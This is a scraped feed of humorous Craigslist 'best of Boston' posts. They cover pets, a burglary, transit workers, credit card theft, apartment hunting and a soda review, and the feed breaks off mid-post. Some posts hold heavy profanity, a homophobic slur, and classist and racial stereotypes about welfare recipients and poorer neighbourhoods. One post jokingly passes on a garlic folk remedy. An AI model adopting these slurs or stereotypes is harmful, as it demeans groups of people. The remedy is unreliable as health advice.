crazy, deluded, and have priviledges that you don't even begin to aknowledge. Porn is cheaper, more consistent, and less demanding.   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-15T08:57:29-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/279042108.html I'm Done With Ya, Bitches text Need "perpetual water bowl" for pathetically picky cats http://www.craigslist.org/about/best/bos/277482847.html Alright, so here's the situation. I have two cats. Cheese is the bastard child, Moo is the morbidly obese cow-like mom to Cheese. I hate these cats. I loathe them with every fiber of my being. It is their sole purpose in life, upon waking up in the morning, to find ways to Piss Me Off. (Actually, to be fair, Cheese is the worst. Moo doesn't do much more than lay around alternatively sleeping and showing people her impressive belly.) They chew on my favorite plants, regardless of how enthusiastically I show them their "cat grass", or the decoy plants I leave around the house that I've decided I can sacrifice for their chewing desires. They choose to chew just the plants I particularly like. They kick cat litter out of their two covered, impeccably well-maintained litter boxes like they're getting paid for each grain of litter that I have to sweep up. They chew food - only the best for my little angels - only to spit it out on the floor, play with it for a few minutes, until it's left a nice snail trail on my freshly mopped kitchen floor. They leave certain pieces out, where I might not see them until I step on them with sockfeet. This morning, Cheese put holes all over the front of my favorite Frank Zappa t-shirt. But mostly, it's their lips that piss me off. The sound their stupid little cat lips make when they drink their stupid cat water. Here's the thing. They refuse to actually drink water out of a bowl. When we adopted these wretched beasts, we were given a "perpetual water bowl" with a little water-cooler kind of thing. It was electric, it created a current, and it seemed just a little over the top for cats. So when I was trying to clean it out one day, I noticed mold - and for whatever reason (I was clearly not thinking straight) I decided my kitties simply could not drink MOLD. This was UNHEALTHY. It might HURT THEM! So I tossed the water dish. Since then, these animals have met every style water dish by taking a few little sips, just enough to keep themselves from dying of dehydration, and then flipping the bowl upside down. It doesn't matter how much water is in it. I can put 3mm of water on the bottom of the bowl, they'll still flip the thing. Then it gets taken away. They are only allowed to have water supervised. Unfortunately, they don't much care about my rage and will still flip the bowl even while I am watching. They try to sneak into the bathroom to sip water wherever they can. Our sink isn't the quickest draining sink, and I'd really rather they not sip water that has leftover toothpaste or soap in it, as this seems to produce mass amounts of thoroughly disgusting cat vomit (guess who cleans that up??). This morning, the kitchen floor was covered in water. They decided to try to get into the remarkably heavy water pitcher that always sits on the counter. Mind you, there was perfectly fine water in a ceramic bowl inside a heavy bottomed dutch oven. This water was apparently not up to par for these felines. I don't want to spend $40 on ANYTHING for these smug douchebags. My daughter adores the cats, so I can't get rid of them. She also expects me to love them as much as she does, so I can't actively tell them how much they suck (except for a few well-placed hisses of "YOU SUCK" whenever my daughter is out of earshot). I spend much of my time glaring at them, hoping they can sense my hatred. I don't want to give in to them by purchasing their extra special water bowl with a current and a reservoir. But I will, if it means I don't have to mop up their soupy mess every morning (cat litter that's been kicked onto the floor + chewed up and spit out food + water = revolting). I was just hoping that someone might have one they no longer need or want. I will pay you up to $15 for it. For the love of god, I just want the water situation to END. I am starting to hear their stupid little smacking cat lips in my sleep.   <ul class="blurbs"> <li> Location: Belmont <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-12T11:17:03-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/277482847.html Need "perpetual water bowl" for pathetically picky cats text Rant: The Dog Ate What? http://www.craigslist.org/about/best/bos/243881936.html We have a dog by the name of Kismet. He came to us in the Summer of 2001 from the rescue program I was heavily involved with. For those of you who are unfamiliar with this type of adoption, imagine taking in a 10-year-old child whom you know nothing about and committing to doing your best to be a good parent. Like a child, the dog came with his own idiosyncrasies. He will only sleep on the bed, on top of the covers, nuzzled as close to my face as he can get without actually performing a French kiss on me. Lest you think this is a bad case of no discipline, I should tell you that hubby and I tried every means to break him of this habit including locking him in a separate bedroom for several nights. The new door cost over $200. But I digress. Five weeks ago we began remodeling our house. Although the cost of the project is downright obnoxious, it was 20 years overdue AND it got me out of cooking Thanksgiving dinner for family, extended family and a lot of friends that I like more than family most of the time. I was, however, assigned the task of preparing 124 of my famous yeast dinner rolls for a delayed celebration among friends this past weekend. I am still cursing the electrician for getting the new oven hooked up so quickly. It was the only appliance In the whole house that worked, thus the assignment. I made the decision to cook the rolls on Friday evening to reheat on Saturday morning. Since the kitchen was freshly painted you can imagine the odor. Not wanting the rolls to smell like Sherwin Williams latex paint #586, I put the rolls on baking sheets and set them in the living room to rise for 5 hours. After 3 hours, hubby and I decided to go out to eat, returning in about an hour. An hour later the rolls were ready to go in the oven. It was 8:30pm. When I went to the living room to retrieve the pans, much to my shock one whole pan of 12 rolls was empty. I called out to Kismet and my worst nightmare became a reality. He literally wobbled over to me. He looked like a combination of the Pillsbury dough boy and the Michelin Tire man wrapped up in fur. He groaned when he walked. I swear even his cheeks were bloated. I ran to the phone and called our vet. After a few seconds of uproarious laughter, he told me the dog would probably be OK, however, I needed to give him Pepto Bismol every 2 hours for the rest of the night. God only knows why I thought a dog would like Pepto Bismol any more than kids do when they are sick. Suffice to say that by the time we went to bed the dog was black, white and pink. He was so bloated we had to lift him onto the bed for the night. Naively thinking the dog would be all better by morning was very stupid on my part. We arose at 7:30 and as we always do first thing; took the dogs out to relieve themselves. Well, Kismet was as drunk as a sailor on his first leave. He was running into walls, falling flat on his butt and most of the time when he was walking his front half was going one direction and the other half was either dragging the floor or headed 90 degrees in another direction. He couldn't lift his leg to pee, so he would just walk and pee at the same time. When he ran down the small incline in our backyard he couldn't stop himself and nearly ended up running into the fence. His pupils were dilated and he was as dizzy as a loon. I endured another few seconds of laughter from the vet (second call within 12 hours) before he explained that the yeast had fermented in his belly and that he was indeed drunk. He assured me that, not unlike most binges we humans go through, it would wear off after about 4 or 5 hours and to keep giving him Pepto Bismol. Afraid to leave him by himself in the house, hubby and I loaded him up and took him with us to our friend's house. A 10 to 15 minute drive. Rolls firmly secured in the car (124 less 12) and drunk dog leaning from the back seat onto the console of the car between hubby and I, we took off. Now I know you probably don't believe that dogs burp, but believe me when I say that after eating a tray of risen unbaked yeast rolls, DOGS WILL BURP. These burps were pure Old Charter. They would have matched or beat any smell in a drunk tank at the police station. But that's not the worst of it. Now he was beginning to fart and they smelled like baked rolls. God strike me dead if I am not telling the truth! We endured this for the entire trip, thankful she didn't live any further away than she did. Once Kismet was firmly placed in my friend's garage with the door locked, we finally sat down to enjoy our celebration with friends. The dog was the topic of conversation all morning long and everyone made trips to the garage to witness my drunk dog, each returning with a tale of Kismet's latest endeavor to walk without running into something. Of course, as the old adage goes, "what goes in must come out," and Kismet was no exception. Granted if it had been me that had eaten 12 risen, unbaked yeast rolls, you might as well have put a concrete block up my behind, but alas a dog's digestive system is quite different from yours or mine. I discovered this was a mixed blessing when we prepared to leave my friend's house. Having discovered his "packages" on the garage floor, we loaded him up in the car so we could hose down the floor. This was another naive decision on our part. The blast of water from the hose hit the poop on the floor, and the poop on the floor withstood the blast from the hose. It was like Portland cement beginning to set up and cure. We finally tried to remove it with a shovel. I (obviously no one else was going to offer their services) had to get on my hands and knees with a coarse brush to get the remnants off of the floor. And as if this wasn't degrading enough, the dog in his drunken state had walked through the poop and left paw prints all over the garage floor that had to be brushed too. Well, by this time the dog was sobering up nicely so we took him home and dropped him off before we left for our second celebration at another friend's house. I am happy to report that as of today (Monday) the dog is back to normal both in size and temperament. He has had a bath and is no longer tricolor. None the worse for wear I presume. I am also happy to report that just this evening I found 2 risen unbaked yeast rolls hidden inside my closet door. It appears he must have come to his senses after eating 10 of them but decided hiding 2 of them for later would not be a bad idea. Now, I'm doing research on the computer as to how to clean unbaked dough from the carpet, and how was your day?   <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> Location: North Shore <li> It's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-12-04T11:22:05-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/243881936.html Rant: The Dog Ate What? text RANT: Crotch Rot http://www.craigslist.org/about/best/bos/220157847.html Or as I like to call it, The Yeast Beast. Many men are more than happy to talk about the clitoris and the vagina all damn day and I am thrilled to accommodate these sicko pervs. However, there is a line we all hate to cross. But there comes a time when one must throw caution and good taste aside and address these issues in the interest of womanhood. Yes, yeast infections. Crotch rot. That burning itching dripping fungus that attacks the very area we hold most dear. I never used to get yeast infections. Then I started taking all these antibiotics, now I seem to be on my third one. I was not exactly sure the first day. I mean, I had a sort of itchy achy feeling radiating from between my legs. I called up my husband to report this. He likes to keep track of my crotch. "Honey, I think I am really horny." He gulped. "You think?" "Its hard to say. I could be getting yeast infection. I definitely need something down there." "Probably a yeast infection," he said gloomily. "No, I think it is horniness. I want you." "Whatever you say." "I said I want you, dammit! I am longing for you! I need it bad." He sighed. "Okay, I get it." But then the burning began. The itching became unbearable, panties were an impossibility, and I was compelled to continually check for the tell-tale whitish ickiness. Soon I was fairly confident I had the crotch rot, but couldnt quite find time to get to the grocery store. By mid morning I was in agony. I couldnt decide if I wanted to lie back with my legs spread and shove an ice cube up my twat or floss with a burlap rope. The corncobs in the cornucopia table display suddenly looked very appealing. I exerted myself trying to dig and itch in a graceful manner in my open to the world office. At lunch I rushed to the store, being careful to walk with my legs four feet apart at all times. I grabbed the Monistat 3 from the shelf. A friend, who happens to also be a pharmacist, was working. I decided to be responsible and actually read the label. "David, my crotch is on fire again. This says not to use repeatedly. Can I still use it?" He paused. He then made some very professional type noises about consulting your physician. "Dont screw with me David, I need it BAD!" I was in no mood. He admitted I could probably use it. I amused myself by bitching for several minutes about this latest series of primal punishments. David became concerned. "You really should see a doctor. If you are getting them a lot you could be developing drug resistant strain." He went on from there. The basic premise was I could actually be using my vagina to breed my very own form of Super Yeast that would eventually be vulnerable only to kryptonite and the music of Barry Manilow. I couldnt get into the doctor for at least a week. I asked for alternatives. David informed me many women used natural treatments, such as plain yogurt. Really? "Umm, how exactly would you get the yogurt in there?" He shrugged. I pondered this. I suggested I could make little yogurt popsicles and shove them inside. But David wasnt sure if freezing would kill the cultures. The other scenarios I came up with seemed very messy or involved fancy equipment I did not own. Also, how long would you leave it? It is sort of warm down there and experience has taught me if yogurt sits out too long it spoils. "Well, you can also use garlic," he suggested. "You wrap some open cloves in a cheese cloth and insert overnight. Be sure to leave a piece of the cloth where you can reach it though." Beautiful. This would have the added benefit of keeping vampires out from between my thighs while I slept. Always an issue. Add some tomatoes and pasta and you have a dining experience waiting to happen. I bought the Monistat again.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around At The Bakery <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-10-13T15:33:05-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/220157847.html RANT: Crotch Rot text To the guy(s) who broke into my apartment last week: http://www.craigslist.org/about/best/bos/198011711.html First off, my roommate and I would like to thank you for violating the privacy of our home. Weve always felt that the lock on our door was more of a formality than a necessity anyway. Did you feel welcome? Sorry we werent there to offer you a glass of water and a place to sit and chat. Oh, and we apologize for the clutter. Congratulations on your method of entrance. Your crowbar skills were quite effective, and definitely left an artistic mark. The door frame has been reinforced now, but well have the mangled wood on the inside of the door to remind us of your thoughtful visitit really gives the door and our apartment in general, the character it previously lacked. Thanks. Wed also like to extend our apologies for unintentionally wasting your time. Had you called ahead, we could have let you know that we are a waitress and an impoverished grad student, respectively, and therefore lack the funds to purchase the expensive, portable little goodies you were clearly after. We really are sorry that we couldnt send you off with more souvenirs of your visit. I am a little curious about one thing: my bath towel. Upon combing our apartment to figure out if anything was missing, we didnt come up with much. However, when I went to take a shower that night, I discovered that my bath towel is missing. Now, Im sure you could have used it to smuggle something I havent missed yet, or to cover your arm while breaking a window to get out via the fire escape, but Id like to believe that you took it for yourself. I already feel pretty close to you, since youve rifled through my panties, seen the special friend I keep hidden in the same drawer, and combed through the costume jewelry I inherited from my grandma. Id like to think that youre sharing in my favorite bath towel. Its cute, soft from countless post-shower dryings, and the perfect sizenot bath sheet huge, but big enough to fully cover my sizeable ass and other attributes. Enjoy my well-loved, hand-me-down towel. Consider it my parting gift to you. I believe that those who presume they deserve to make a profit from purloining other peoples items are a neglected group of people. Keep the towel, and think of me whenever you use it. I hope you think of all the people who have played host to your domestic acquisition parties. We certainly appreciate your efforts at spicing up our everyday lives. Whatever would we do without you.   <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Back Bay <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-08-23T19:24:21-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/198011711.html To the guy(s) who broke into my apartment last week: text My Shelter Dog http://www.craigslist.org/about/best/bos/197640942.html My Foster Dog by Unknown Author My foster dog stinks to high heaven. I don't know for sure what breed he is. His eyes are blank and hard. He won't let me pet him and growls when I reach for him. He has ragged scars and crusty sores on his skin. His nails are long and his teeth, which he showed me, are stained. I sigh. I drove two hours for this. I carefully maneuver him so that I can stuff him in the crate. Then I heft the crate and put it in the car. I am going home with my new foster dog. At home I leave him in the crate till all the other dogs are in the yard. I get him out of the crate and ask him if he wants "outside." As I lead him to the door he hikes his leg on the wall and shows me his stained teeth again. When we come in, he goes to the crate because that's the only safe place he sees. I offer him food but he won't eat it if I look at him, so I turn my back. When I come back, the food is gone. I ask again about "outside." When we come back, I pat him before I let him in the crate; he jerks away and runs into the crate to show me his teeth. The next day I decide I can't stand the stink any longer. I lead him into the bath with cheese in my hands. His fear of me is not quite overcome by his longing for the cheese. And well he should fear me, for I will give him a bath. After an attempt or two to bail out he is defeated and stands there. I have bathed four legged bath squirters for more years than he has been alive. His only defense was a show of his stained teeth, that did not hold up to a face full of water. As I wash him, it is almost as if I wash not only the stink and dirt away but also some of the hardness. His eyes look full of sadness now. And he looks completely pitiful as only a soap covered dog can. I tell him that he will! feel better when he is cleaned. After the soap, the towels are not too bad, so he lets me rub him dry. I take him outside. He runs for joy . . . the joy of not being in the tub and the joy of being clean. I, the bath giver, am allowed to share the joy. He comes to me and lets me pet him. One week later I have a vet bill. His skin is healing. He likes for me to pet him ( I think). I know what color he will be when his hair grows in. I have found out he is terrified of other dogs, so I carefully introduce him to my mildest four legged brat. It doesn't go well. Two weeks later a new vet bill for an infection, that was missed on the first visit. He plays with the other dogs. Three weeks later his coat shines, he has gained weight. He shows his clean teeth when his tongue lolls out after he plays chase in the yard with the gang. His eyes are soft and filled with life. He loves hugs and likes to show off his tricks, if you have the cheese. Someone called today and asked about him. They saw the picture I took the first week. They asked about his personality, his history, his breed. They asked if he was pretty. I asked them lots of questions. I checked up on them. I prayed. I said yes. When they saw him the first time they said he was the most beautiful dog they had ever seen. Six months later, I got a call from his new family. He is wonderful, smart, well behaved, and very loving. How could someone not want him? I told them I didn't know. He is beautiful. They all are. :)  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Anywhere <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-08-22T23:18:31-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/197640942.html My Shelter Dog text Your field guide to MBTA employees. http://www.craigslist.org/about/best/bos/184572672.html Through the last 14 months, I have slowly gained a knowledge of and appreciation for this common, yet unusual species. One must approach them carefully, for they are prone to detection of actual MBTA riders and thus tend to disappear quickly when spoken to. 1. The MBTA Police. These individuals are noticeable by the large cup of Dunky's coffee in the right hand, with orange and hot pink plumage. Earlier scientists have postulated that they exist to serve a protective function among the crowds of MBTA riders. However, detailed observation has led me to believe that they are merely decorative in function, aside from their obvious function of economic support for the Dunkin' Donuts franchises in Downtown Crossing, Alewife, Harvard, and other such locations. There is no incident -- attempted mugging, gangs tagging with spray paint, aggressive panhandlers, fare jumpers, urination onto the tracks, drunken teenagers puking in a train car, or flashers -- that they cannot remain completely calm, tranquil, and unimpressed by. Any attempts to enlist their assistance with defending your possessions or corporeal self will be met with an uncomprehending stare and a sip from the aforementioned cup in the right hand. It is suggested that the casual field observer simply regard them as one would a piece of furniture, though furniture is generally more useful. Their mating call consists of a garbled, unintelligible message over the public address system, of which the only distinguishable words are, "See something, say something." 2. The MBTA Token Person. These individuals generally barricade themselves in secure shelters of scratched Plexiglass and steel, where they control the economic flow of usable cash exchanged for MBTA tokens. While they generally refuse to indulge said function, and glare at people who present them with money, they do bellow loudly at persons with bicycles and cameras. They generally appear with a telephone receiver held to one ear, and ask you if "you can fuckin' wait one minute, I'm fuckin' busy here" and go back to discussing their mating rituals and perceived inadequacies of potential partners. Though they have been shown to articulate English (see "Bicycles and cameras", above), when presenting them with cash to transmute into tokens, they refuse to acknowledge this language, and the field observer will desperately communicate through sign language, unusual when the observer and wildlife have a language in common. The MBTA Token Person also will refuse communication with tourists seeking directions, annoyed MBTA regulars who are facing shutdowns of the Red Line, or persons who have lost money in a machine that purports to dispense tokens and/or CharlieTickets, unless there is a queue of at least twenty persons behind said inquirer. 2a. The MBTA Token Person - CharlieTicket subspecies. The MBTA Token Person remains true to form in their new environment of sitting on a chair next to a broken CharlieTicket gate. They still refuse the communications posited to them (See "Tourists, subway shutdowns, and victims of broken machines"), but mostly spend their time idly waving a hand at people and chatting with Species #1 - MBTA Police. 3. The MBTA Bus Driver. The MBTA Bus Driver breaks into two approximate subspecies. 3a. The MBTA Bus Driver - Milton subspecies. This subspecies is named for the character in Office Space, with whom the Milton subspecies shares a complete personality. The driver greets patrons with random mumbles, often proceeds at a glacial pace, and offers inept apologies when s/he completely varies off route and ends up with forty angry riders stuck with him/her in a traffic jam after a Red Sox home game. While the subspecies does appear to have a need to please the MBTA patrons, no one can understand anything that this subspecies says, and thus attempts to communicate are often exercises in futility. 3b. The MBTA Bus Driver - Angry Roxbury Resident subspecies. This subspecies is noticeable for its volatility. It will express anger at patrons that do not have exact change for the bus, at patrons who do have exact change for the bus, and at patrons who are swiping a monthly pass through the card reader. This subspecies is rarely seen without the standard Nextel walkie-talkie phone, into which it screams threats at its unseen mate, usually beginning with "When I get back to Grove, you are so $%@$^&ing dead, you #$62642ing $%@#%!" In between expelling vitriol at the Nextel phone, the driver will also yell at other drivers, refuse to brake for red lights, palm dollar bills from the bus fare slot, deliberately miss stops, refuse to lower the bus for the handicapped, and yell at all visible members of the human race. It is advisable that the field observer remain as invisible and nonthreatening as possible, and display great caution in interactions. 4. The MBTA Train Driver. This relatively invisible species appears to the field observer in two instances. In the first instance, the observer will be standing with a camera on the platform, at which point the train driver will yell that terrorism is not allowed in the MBTA subway system. The second instance is easily observable to all passengers on the MBTA train, when the train driver gives the wrong name for the current stop, misidentifes the train, or occasionally informs everyone that the train will no longer run. Caution is advised in all interactions with the MBTA subspecies. Truly brave observers may be interested in moving into the next level of field observation - Chinatown taxi drivers.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around the T <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-07-21T11:48:41-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/184572672.html Your field guide to MBTA employees. text Invitation to the Anonymous Stranger http://www.craigslist.org/about/best/bos/181590336.html So an interesting thing happened to me today when I tried to take $20 out of an ATM machine at lunch time. A glaring rejection marked "Insufficient Funds." Now, I know that I am not the most careful person when it comes to managing my cash. I'm probably even "bad" at it, but I could have sworn that I hadn't spent that much this weekend. A quick trip to my bank's website confirmed the truth... I was overdrawn by almost $90. "Wow," I though, "I really need to pay more attention to where my money is going. I mean, I don't even remember spending this $165 on priceline.com, or this $34.95 on regsoft.com, or this $65.99 on regsoft.com, or this $35.00 on intellius.com... wait a minute! WTF! I haven't made any of these purchases!" Yup, all told almost $300 of my money was gone. Random stranger on the internet seems to have stolen my CC information. Annoying, but like all CC's, mine is insured against identity theft. Oh well, right? C'est la vie... only, not quite. I have always hated bullies. I hate people that are rude in their cars because of the relative anonymity that they enjoy. I hate people that prey on others, and I hate being taken advantage of. As I sat there, staring at my virtual bank statement and chuckling on the phone with some girl in customer service who couldn't apologize enough for my inconvenience, a mantra began swelling up within my soul. "Do not go gentle into that goodnight..." With it, an idea began to form... what were those charges again? Regsoft, regsoft, intellius... priceline? Hmm... priceline. I do wonder what my friend the anonymous cyber thief was buying himself. After spending a half-hour trying to get a human on the phone from priceline, and after going through two humans that refused to assist me because of company policy, I struck gold. A kind soul in this anonymous cyber world who seemed to share my disdain. Suddenly I had some information. I had the name of a hotel in Indianapolis, ID who was expecting my stranger to check in this very evening, and to stay through thursday. So anonymous stranger, you may have a hot ex that you are stalking with intellius online. You may have Payroll 2006 and Password Reminder software on my dime. You might even have a couple of night's stay at a decent hotel lined up... but I have something too. Oh yes. :-) I have your name. I have your email address. I have a very agreeable hotel manager who is just waiting for you to check in. I have the Indianapolis PD, waiting on my return call. Yes, it has occurred to me that you may have used a fake name, address, etc. to book your hotel, but I'll take that chance. You're playing a foolish game, and I would very much like to play it with you. So please anonymous stranger, check in to that hotel...  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Boston <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-07-13T13:17:52-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/181590336.html Invitation to the Anonymous Stranger text Apartment Fury http://www.craigslist.org/about/best/bos/177040375.html Has anyone been in the rental market lately? It has pushed me into insanity... Have any of you ever been in such a bad mood that when people ask you whats wrong it just makes you even worse. Then then try to cheer you up and it makes you so mad that you want to kill puppies. Anything short of them pulling down their pants and farting the star spangled banner or seeing a clown get hit by a garbage truck wouldnt get you in a good mood. Thats how I feel all the time. My co-workers wont talk to me anymore, they started to wear bullet proof vests in anticipation of me coming in with an assault rifle. All I did for the past two months is work, search Craigslists for apartments, look at apartments, talk to real estate agents about apartments and obsess about apartments. I actually had dreams about apartments. One was that I found a place that no one knew about and as I walked around I kept finding new rooms and hidden staircases and that it was right across the street from a public pool, a playground and a Daycare center. I am going crazy. I dont like the word apartment anymore. They should call apartments Fuck you. So are you looking for a 2 or 3 bedroom fuck-you? That particular Fuck-you is not de-leaded, sorry. Maybe some of you can relate on how much the cost of living sucks around here. I just got kicked out of my apartment because the landlord sold the place. I moved in a little over a year ago when I got kicked out of my previous apartment because that landlord wanted to turn it into a condo. I have lived in Boston for about 6 years and have had to move 5 fucking times all on the landlords behalf. I also have a 3 year old which means I cant rent a place unless its de-leaded which basically means 90% of the apartments on the market are unavailable to me. Its just ridiculous. This is why all of the young professionals are moving out of Boston. You either have to be a dirt poor loser or filthy rich. Maybe Im Jaded. I know I am definitely a grumpy bastard these days. I just found another place and I dont even know the new landlord but based on my previous experience I want to punch him in the face. On top of being kicked out I had to hand over $650 to a rental agent just because the guy walked me through the front door and ran my credit. I wanted to kick every real estate agent in the crotch (man or woman I dont discriminate). I pretty much hate every homeowner in Boston just out of the sheer envy that I cant afford my own place. When the overpriced bubble finally pops around here and all those fucking real estate hungry, over-charging, blood sucking fucking bastard slum lords start losing their shirts Ill be so happy. Youll be able to spot me. Ill be the guy running around wrapped in eviction notices pissing off of rooftops and hurling feces at all of the foreclosure homes. I was actually foolish enough to consider buying property so I wouldnt be at the mercy of landlords anymore. Im 31, I have a nearly perfect credit score and make a decent living. The only thing I could afford was a condo in Dorchester, Roxbury, Lawrence or Lynn. Hmmmm, a $280,000 interest only loan for a glorified apartment in some of the worst school systems in the country and where Target offers Handgun Buyback programs. SIGN ME UP!!!! I cant wait for the day when my daughter comes home wearing hoop earrings and her boyfriends only goal in life is getting 20 Dubs for his pimped out Honda Civic. What really burns me is that if I was a total dredge of society I could live for free or on the cheap. Katrina victims are living better than I am! I would love for a flood to take out half of Boston. Most of my furniture looks like it came from a garage sale anyway. Youd see me hanging loose in my brand new trailer, playing my free play station and getting $300 lap dances while sipping on some champagne all compliments of the federal government. Did any of you see the stories on how over 3 billion dollars of FEMA aid was given to inmates, spent in strip clubs and blown on entertainment. Where is the support for people like myself. I dont come from money, I put myself through college, I pay my taxes and contribute to society and some fucking baby machine tweaker is spitting out future welfare cases while cooking up a new batch of crystal meth in their section 8 housing and selling food stamps for Milwaukee's Best. Or I have to compete with some trust-fund baby whose parents dont give a shit what the rent is and have driven up the market all over the city . I have to shell out $1,400 a month and have references from the Dali Lama so some spoiled bastard going to Tufts can sit around drinking wine, listening to Radio head and banging college girls. Where is the justice. I have been paying over $1,200 a month for years, never missed a rent payment and got kicked out on my ass over and over again. Each time having to shell out an absurd amount of money for first, last, security, moving expenses and anal lubrication. For any of you just entering into the rental market and cant spend $2,000 a month please feel free to use my translation guide below: Cozy = Small Quaint = Busted Conveniently Located = On a busy main road tucked in between a halfway house and a bus terminal Charming = Small & has not been remodeled since the civil war Has Character = Slightly overpriced and has a bathtub in the Kitchen Great View = Its on the third floor and you cant move anything bigger than a folding chair up the stairs High Ceilings = Old and the wallpaper looks like a fat girl after Liposuction When the agent says one small thing = There is a old lady on the first floor with 15 small yappy dogs who bite, hump legs and have mange Pool & Gym = crappy apartment complex and they will raise your rent after the first year Convenient Non Permit Street Parking = HA! Good luck dipshit Conveniently Located near a laundry mat = no washer/dryer or hookups Convenient (Agents love this word) = Not Convenient Affordable!!! = Wall to wall stained pink carpeted, wood paneled piece of shit! Garden Level = Basement with tiny windows and you better be an Oompa-Loompa Great Deal!!! = The landlord is a crack head, a pedophile or both Anything with *** = ***Dont Bother*** Thanks for reading folks, if I have helped one person it was worth it.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Boston <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-30T08:33:04-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/177040375.html Apartment Fury text You overturned my friend's trashcans - m4m http://www.craigslist.org/about/best/bos/176625068.html Saturday night--oh what a night. Just when the party couldn't get more stale (people were asking me to show off my dance moves AGAIN)--that's when you came in. At first you pretended to know another guest, saying "hey man, how's it going?" Then you pretended to know the host (I doubt you knew he was the host), saying "yo, this my boy. this my boy right hee." I was intrigued by your lack of articulation and your infectious grin (infectious like the clap). And by the fact that you made friends so quickly with people who clearly wanted you to leave. As you made your way to the fridge to score a free drink, I started talking to the quiet and not ugly girl who came in after you--and that's when you really started to shine. With your hat cocked to one side--a nod to hip hop? to dontrelle willis? to subacute stroke patients with hemispatial neglect?--you approached me and this girl. Immediately you put yourself between us, proclaiming her as your girl. And thank god i say to that, cause who wants to talk to chicks anyway. But I saw through the charade. She walked out, embarassed. Probably because your sneakers weren't white enough. My friend, the host, he decided that it was time for you to go. He was even kind about it, trying to puff up your manhood by proclaiming that "you look like the kind of guy who could pound a beer easily." Why did you not just pound it and go? Maybe you knew that our connection needed time to develop. People get angry when prevented from pursuing a romantic interest, and that's exactly what happened. You got all up in my friend's grill, and *what?* Did he not want you at the party any more? You were just trying to be friendly, after all. That's total bullshit, to be kicked out like that. Push could have come to shove, except that someone suggested that you guys just go outside, calm down, and talk about it. Well, them's fightin' words, and you knew it. No one would actually want to remove a disruption from a party in order to let people return to jubilation while you settled a problem rationally. No, you got an invitation to fisticuffs, rsvp NOW. I helped walk you outside, and then-- I don't know why I did it. I slammed the door shut behind you and locked it. Almost as if I couldn't face the attraction that had been building. True, everyone else at the party hated you and thought you were an idiot. Which you probably are. But I just want you to understand why *I* did what I did. Because you weren't happy about it. Some 10-15 minutes later, you were back. Overturning the trashcans in my friend's yard. Something tells me that you'd appreciate the fact that that sentence was not a complete sentence. You, yourself, feel incomplete. Were you symbolically overturning the dominant social structure that oppresses relationships like ours? Were you trying to rub our noses in the rotting rubbish that accumulates when we blindly throw away ingredients that don't fit into the standard recipes that society dictates? Or were you trying to say that the content of those cans wasn't trash--that it was all recyclable, all of some value that we hadn't previously recognized? I guess I'll never know because you ran away screaming when I came outside and threatened to call the police. I'm not gay. But you aren't either. And that's what makes this so special. No, I'm not drunk.  <ul style="margin-left:0px; padding-left:3px; list-style:none; font-size: smaller"> <li> this is in or around Somerville <li> no -- it's NOT ok to contact this poster with services or other commercial interests </ul>  webmaster@craigslist.org 2006-06-29T00:55:09-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/176625068.html You overturned my friend's trashcans - m4m text Coca-Cola Blak? You can't be serious. http://www.craigslist.org/about/best/bos/173636886.html <center> <img src="http://slowchildren.sabatos.net/blak/blak.jpg"> </center>So, I found this shit while doing a soda run for a friend. I used to have this nasty habit of buying weird drinks, just to see what they taste like. But that all changed when Pepsi Blue beat the shit out of my taste buds. I've been pretty wary about drinks since then, especially when we got shit like Diet Cherry Vanilla Dr Pepper and Stick Covered in Shit XTREME BLEND Mocha Lattes. But it wasn't my money, and I was thirsty as fuck, so I caved in and picked up this Coca-Cola Blak shit. The label had that catchy artfag "Buy me now and you'll be fucking goth bitches tonight!" quality to it. Like it's too good for you, that you're a better person for having it nearby, because it distracts people from your many shortcomings. It stares right through your fucking soul with that little 0 thing in the center, and laughs at your tiny penis. It sends out MySpace event invitations to all it's friends except for you. Fuck, you're not even in it's Top 8. Screech is in it's Top 8, Rick James is in it's top 8, and even Pepsi is in there just for the irony. It wants to remind you that you suck, and that you need to get a haircut. And just so you don't have any doubts that it's worth more than you, the bottle is made of glass. It's delicate, yet classy. I fucking hate you already, Coca-Cola Blak. The cap is black too, the guys in marketing must have been fucking each other in the ass over this masterpiece. It makes fun of you even as you try to open it, since the cap on this particular bottle was on way too fucking tight. I could hear it blogging away from the depths of it's glassy bowel, pounding away on it's MacBook while flipping through a thesaurus for words similar to "pathetic." Fuck you, Blak. I paid for you, I brought you back to my pad, and now you're going to let me violate you and take pictures. <center><img src="http://slowchildren.sabatos.net/blak/blak2.jpg"></center> Ever smell something that was so familiar, so strong in a particular scent that it brings back memories? Happy, fun little memories about your childhood? Memories about 